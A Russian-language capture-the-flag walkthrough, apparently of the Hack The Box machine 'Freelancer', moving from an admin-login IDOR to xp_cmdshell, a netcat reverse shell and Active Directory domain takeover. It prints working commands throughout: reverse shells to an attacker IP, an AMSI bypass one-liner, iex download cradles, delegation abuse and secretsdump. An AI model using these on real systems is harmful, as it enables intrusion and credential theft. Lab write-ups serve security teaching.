Telegram / Boosty / Видео
Подпишись на канал t.me/kiberdruzhinnik, чтобы не пропускать контент.
Также на https://boosty.to/kiberdruzhinnik/posts/d071461b-2e83-4a68-8b97-2391c13005d2 я опубликовал подробный видео разбор этой задачи. Это может быть полезно для обучения, если вы делаете первые шаги в информационной безопасности. Поддержать меня на Boosty.
Обзор сервисов
Начнем свое решение со стандартного сканирования портов.
PORT STATE SERVICE REASON
53/tcp open domain syn-ack
80/tcp open http syn-ack
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://freelancer.htb/
88/tcp open kerberos-sec syn-ack
135/tcp open msrpc syn-ack
139/tcp open netbios-ssn syn-ack
389/tcp open ldap syn-ack
445/tcp open microsoft-ds syn-ack
464/tcp open kpasswd5 syn-ack
593/tcp open http-rpc-epmap syn-ack
9389/tcp open adws syn-ack
Host script results:
|_clock-skew: 4h59m57s
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 56975/tcp): CLEAN (Timeout)
| Check 2 (port 28763/tcp): CLEAN (Timeout)
| Check 3 (port 45272/udp): CLEAN (Timeout)
| Check 4 (port 20885/udp): CLEAN (Timeout)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-security-mode:
| 2.02:
|_ Message signing enabled and required
| smb2-time:
| date: 2024-06-02T11:41:36
|_ start_date: N/A
NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 06:42
Completed NSE at 06:42, 0.00s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 06:42
Completed NSE at 06:42, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 51.80 seconds
Сразу же занесем IP-адрес в /etc/hosts
:
$ sudo nano /etc/hosts
10.129.69.219 freelancer.htb
Веб
С помощью gobuster
находим админку:
А еще мы можем зарегистрироваться как фрилансер или как работодатель:
Однако как работодатель мы зарегистрироваться не можем без подтверждения со стороны работников сайта:
Note: After creating your employer account, your account will be inactive until our team reviews your account details and contacts you by email to activate your account.
Попробуем завести аккаунт как фрилансер и увидим примерно такое:
Зарегистрируем аккаунт как работодатель и перейдем на страницу восстановления пароля http://freelancer.htb/accounts/recovery/
- эта страница будет доступна только фрилансеру.
Так как мы знаем ответы на все вопросы от аккаунта работодателя, то введем их и успешно сменим пароль. Теперь мы можем залогиниться в аккаунт работодателя без подтверждения со стороны администратора.
Перейдем в раздел QR-Code
и увидим, что есть возможность логина без авторизации.
Декодируем этот QR-код с помощью CyberChef и увидим ссылку на логин:
http://freelancer.htb/accounts/login/otp/MTAwMTI=/9e10e8b98f56dc4f1e5308419165c4a8/
Идентификатор MTAwMTI=
очень похож на Base64, в моем случае это 10012
. Мы можем попробовать ввести другой идентификатор, например, 2
или Mgo=
:
http://freelancer.htb/accounts/login/otp/Mgo=/9e10e8b98f56dc4f1e5308419165c4a8/
Переходим по ней и проваливаемся в аккаунт администратора:
После этого нам становится доступен раздел /admin/
:
В нем мы обнаруживаем SQL Terminal
.
Включим исполнение xp_cmdshell
- нужно исполнять команды последовательно:
# включаем advanced options
EXECUTE AS LOGIN = 'sa'
EXEC sp_configure 'Show Advanced Options', 1;
# применяем настройки
EXECUTE AS LOGIN = 'sa'
RECONFIGURE;
# включаем xp_cmdshell
EXECUTE AS LOGIN = 'sa'
EXEC sp_configure 'xp_cmdshell', 1;
# применяем настройки
EXECUTE AS LOGIN = 'sa'
RECONFIGURE;
# тестируем исполнение команд
EXECUTE AS LOGIN = 'sa'
EXEC master..xp_cmdshell 'whoami';
С помощьюю impacket
запуускаем Samba-сервер.
smbserver.py -smb2support -username test -password test test .
Качаем nc64.exe
, запускаем слушателя:
wget https://github.com/rahuldottech/netcat-for-windows/releases/download/1.12/nc64.exe
rlwrap nc -lvnp 4246
В SQL-консоли подключаем нашу сетевую шару, копируем файл и запускаем:
EXECUTE AS LOGIN = 'sa'
EXEC master..xp_cmdshell 'net use \\10.10.14.107\test /user:test test';
EXECUTE AS LOGIN = 'sa'
EXEC master..xp_cmdshell 'copy \\10.10.14.107\test\nc64.exe %temp%\nc64.exe';
EXECUTE AS LOGIN = 'sa' EXEC master..xp_cmdshell '%temp%\nc64.exe 10.10.14.107 4246 -e cmd';
В каталоге C:\Users\sql_svc\Downloads
обнаружим дистрибутив MSSQL:
PS C:\users\sql_svc\downloads> dir
Directory: C:\users\sql_svc\downloads
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 5/27/2024 1:52 PM SQLEXPR-2019_x64_ENU
В файле sql-Configuration.INI
найдем креды:
PS C:\users\sql_svc\downloads\SQLEXPR-2019_x64_ENU> type sql-Configuration.INI
[OPTIONS]
ACTION="Install"
QUIET="True"
FEATURES=SQL
INSTANCENAME="SQLEXPRESS"
INSTANCEID="SQLEXPRESS"
RSSVCACCOUNT="NT Service\ReportServer$SQLEXPRESS"
AGTSVCACCOUNT="NT AUTHORITY\NETWORK SERVICE"
AGTSVCSTARTUPTYPE="Manual"
COMMFABRICPORT="0"
COMMFABRICNETWORKLEVEL=""0"
COMMFABRICENCRYPTION="0"
MATRIXCMBRICKCOMMPORT="0"
SQLSVCSTARTUPTYPE="Automatic"
FILESTREAMLEVEL="0"
ENABLERANU="False"
SQLCOLLATION="SQL_Latin1_General_CP1_CI_AS"
SQLSVCACCOUNT="FREELANCER\sql_svc"
SQLSVCPASSWORD="***"
SQLSYSADMINACCOUNTS="FREELANCER\Administrator"
SECURITYMODE="SQL"
SAPWD="***"
ADDCURRENTUSERASSQLADMIN="False"
TCPENABLED="1"
NPENABLED="1"
BROWSERSVCSTARTUPTYPE="Automatic"
IAcceptSQLServerLicenseTerms=True
С помощью runascs.exe
пробуем их на все учетки из net user
и получаем рабочую пару:
C:\Users\sql_svc\AppData\Local\Temp>runascs.exe mikasaAckerman *** whoami
freelancer\mikasaackerman
Запустим слушателя:
rlwrap nc -lnvp 4250
И триггернем его:
runascs.exe mikasaAckerman *** "C:\temp\nc64.exe 10.10.14.107 4250 -e cmd"
Флаг пользователя
Повышение привилегий
На рабочем столе mikasaArckerman
обнаружим дамп памяти и сообщение из почты:
C:\Users\mikasaAckerman\Desktop>dir
Volume in drive C has no label.
Volume Serial Number is 8954-28AE
Directory of C:\Users\mikasaAckerman\Desktop
05/28/2024 10:22 AM <DIR> .
05/28/2024 10:22 AM <DIR> ..
10/28/2023 06:23 PM 1,468 mail.txt
10/04/2023 01:47 PM 292,692,678 MEMORY.7z
06/02/2024 10:42 AM 34 user.txt
3 File(s) 292,694,180 bytes
2 Dir(s) 1,924,689,920 bytes free
Сообщение говорит о том, что Liza Kazanoff
сделала дамп памяти сервера, на котором мы работаем. Это значит, что мы можем вытащить оттуда ее пароль.
C:\Users\mikasaAckerman\Desktop>type mail.txt
Hello Mikasa,
I tried once again to work with Liza Kazanoff after seeking her help to troubleshoot the BSOD issue on the "DATACENTER-2019" computer. As you know, the problem started occurring after we installed the new update of SQL Server 2019.
I attempted the solutions you provided in your last email, but unfortunately, there was no improvement. Whenever we try to establish a remote SQL connection to the installed instance, the server's CPU starts overheating, and the RAM usage keeps increasing until the BSOD appears, forcing the server to restart.
Nevertheless, Liza has requested me to generate a full memory dump on the Datacenter and send it to you for further assistance in troubleshooting the issue.
Best regards,
Скачаем дамп памяти на свою машину.
Для дампа кредов нам нужно установить:
- python (https://python.org) и библиотеки
pip install dissect.cstruct pypykatz
- dokany (https://github.com/dokan-dev/dokany/releases)
- memprocfs (https://github.com/ufrisk/MemProcFS)
- memprocfs-plugins (https://github.com/ufrisk/MemProcFS-plugins)
Далее просто подключаем память как файловую систему:
memprocfs.exe -device MEMORY.DMP
И в M:\py\regsecrets\security.txt
забираем креды от liza.kazanoff
.
Пробуем этот пароль на всех известных пользователей и получаем lorra199
:
evil-winrm -u lorra199 -p *** -i freelancer.htb
Путь ведет через AD Recycle Bin --> Generic Write to DC --> DCsync
. Это можно так же посмотреть с помощью BloodHound.
Так можем посмотреть удаленные объекты AD:
Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *
С помощью Powermad.ps1
и PowerView.ps1
:
wget https://github.com/Kevin-Robertson/Powermad/raw/master/Powermad.ps1
wget https://github.com/PowerShellMafia/PowerSploit/raw/master/Recon/PowerView.ps1
python3 -m http.server 4243
Обходим AMSI и инжектим скрипты:
# amsi bypass
$a = [Ref].Assembly.GetTypes() | ?{$_.Name -like '*siUtils'};$b = $a.GetFields('NonPublic,Static') | ?{$_.Name -like '*siContext'};[IntPtr]$c = $b.GetValue($null);[Int32[]]$d = @(0xff);[System.Runtime.InteropServices.Marshal]::Copy($d, 0, $c, 1)
# инжект скриптов
iex(New-Object Net.WebClient).DownloadString('http://10.10.14.107:4243/PowerView.ps1')
iex(New-Object Net.WebClient).DownloadString('http://10.10.14.107:4243/Powermad.ps1')
Добавляем с помощью PowerView
лору в группу IT Technicians
:
$SecPassword = ConvertTo-SecureString *** -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('FREELANCER\lorra199', $SecPassword)
Add-DomainGroupMember -Identity 'IT Technicians' -Members 'lorra199' -Credential $Cred
Далее через Powermad
добавляем машину в домен и разрешаем делегироваться через msDS-AllowedToActOnBehalfOfOtherIdentity
:
New-MachineAccount -MachineAccount PWN -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force)
$ComputerSid = Get-DomainComputer PWN -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer DC | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
Добавим домен dc.freelancer.htb
в /etc/hosts
!
Имперсонируемся как администратор с помощью новой машины и дампаем хеш. Обратите внимание, что я каждый раз синхронизирую время - тут возможны сюрпризы!
sudo rdate -n freelancer.htb && getST.py -spn 'cifs/dc.freelancer.htb' -impersonate 'Administrator' 'freelancer/PWN$:123456' -dc-ip dc.freelancer.htb
sudo rdate -n freelancer.htb && KRB5CCNAME=Administrator.ccache secretsdump.py freelancer/[email protected] -k -no-pass -just-dc-user Administrator
Теперь логинимся с помощью evil-winrm
:
evil-winrm -i freelancer.htb -u Administrator -H ***